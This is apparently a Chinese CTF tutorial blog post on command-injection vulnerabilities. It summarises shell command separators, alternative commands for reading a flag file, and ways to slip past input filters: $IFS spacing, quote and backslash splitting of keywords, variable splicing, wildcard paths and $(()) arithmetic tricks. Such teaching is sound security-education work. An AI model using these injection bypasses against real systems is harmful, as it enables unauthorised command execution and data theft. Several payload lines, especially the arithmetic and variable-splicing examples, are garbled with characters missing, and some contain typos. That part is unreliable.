今日学习目标:
1复习一下以前的内容
2总结整合一下过滤方法
✅创作者:贤鱼
个人主页:贤鱼的个人主页
专栏系列:网络安全
⏰如果有需要可以阅读前两章
25分钟了解命令执行漏洞【例题+详细讲解】(一)
25分钟了解命令执行漏洞【例题+详细讲解】(二)
控制可执行系统命令的函数
控制函数,寻找flag,并且根据其对应过滤内容绕过过滤
通过ls和ls /查看当前目录下以及根目录,通过cat,tac等打开flag
大部分题目中都带有如下内容或者与其作用相似的,我们为了执行命令必须让下面这段代码失去作用
这里就需要介绍到连接符了,具体内容可以查看以往两期,这里我们重在总结:
连接符
cat flag.php;ls
执行完cat,再执行ls
cat flag.php&&ls
cat成功执行再执行ls
cat flag.php||ls
cat执行失败执行ls
cat flag.php|ls
将flag的内容作为第二个命令的输入
cat flag.php ‘cat love xianyu’
先执行单引号内内容,将结果作为命令的一部分
cat flag.php$(cat love xianyu)
先执行¥()内内容,将结果作为命令的一部分
如果遇到了过滤可以相互替换
命令(使用方法):
cat (cat flag.php)
tac (tac flag.php)
more (more flag.php)
less (less flag.php)
head (head flag.php)
nl (nl flag.pgp)
od(od -c flag.php)
vi (vi flag.php)
vim (vim flag.php)
sort (sort flag.php)
uniq (uniq flag.php)
file (file -f flag.pgp)
grep (grep flag.php)
paste (paste flag.php)
xxd (xxd flag.php)
cat flag.php
cat$IFSflag.phpcat$IFS$1flag.php
cat${IFS}flag.php
有时候会过滤掉类似flag的关键字,可以通过一下方式绕过
flag
fl’a’g单引号
fl"a"g双引号
fl\ag反斜杠
fl$@ag¥@也可以拼接字符
a=c;c=t;d=a; a a ad$c拼接完就是cat
a=f;c=a;d=g;b=l;cat$IFS 1 1 1a b b bc$d.phpabcd拼接出来flag
/bin/base64
/???/???64 ???
echo $(())
0
echo ( ( ((~ (( (())))
-1
echo ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (())))
-1-1-1
echo ( ( (( (((($(())))$(( ( ( ) ) ) ) (()))) (())))((~$(())))))
-3
echo ( ( ((~ (( (( ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (())))))))
2
结束语
贤鱼依旧会不定期更新已有内容,并且会继续更新新的内容,还请大家继续关注支持贤鱼!!!